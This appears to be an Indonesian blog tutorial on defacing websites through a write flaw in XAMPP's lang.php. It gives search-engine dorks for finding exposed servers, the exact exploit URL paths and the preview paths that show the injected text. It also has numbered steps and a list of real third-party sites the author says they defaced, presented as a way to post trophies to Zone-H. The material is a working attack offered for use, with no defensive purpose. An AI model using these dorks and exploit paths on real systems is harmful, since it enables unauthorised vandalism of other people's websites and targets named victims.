Tutorial Deface Xampp Local Write Access

Naufal Ardhani - Kali in saya akan memberikan Tutorial Deface Xampp Local Write Access, POC ini sedang banyak dipakai oleh defacer defacer karna apa? ntah lah :v karna saya cuma liat show off defacer di grup grup yang ada dan apa keuntunganya? hemmm... keuntungannya ialah bisa mirror di Zone-H :)

Oke Langsung aja

-Dork

• inurl:/security/lang.php
• inurl:/xampp/lang.php

-Exploit

• /xampp/lang.php?Hacked_By_E4OXY ( untuk dir xampp )
• /security/lang.php?Hacked_By_E4OXY ( untuk dir security )

-Preview

• /xampp/lang.tmp ( untuk dir xampp )
• /security/lang.tmp ( untuk dir security )

-Step

1. Dorking dulu, kalau saya menggunakan dork "inurl:/security/lang.php intext:xampp",
2. Beri Exploitnya, contoh "/security/lang.php?Hacked_By_E4OXY" (karna disini saya pakai dork yang inurl:security/lang.php jadi exploitnya juga di dir security),
3. Jika berhasil akan seperti gambar dibawah,
   
4. Untuk Preview hasilnya tinggal beri "/security/lang.tmp", contoh http://vega-apache.ingeneo.co/security/lang.tmp
   

Hasil saya :

http://www.mp-mall.com.hk/security/lang.tmp

http://www.moghulisran.com/security/lang.tmp

http://www.altebagestion.net/security/lang.tmp

http://vega-apache.ingeneo.co/security/lang.tmp

SEKIAN WASSALAM :)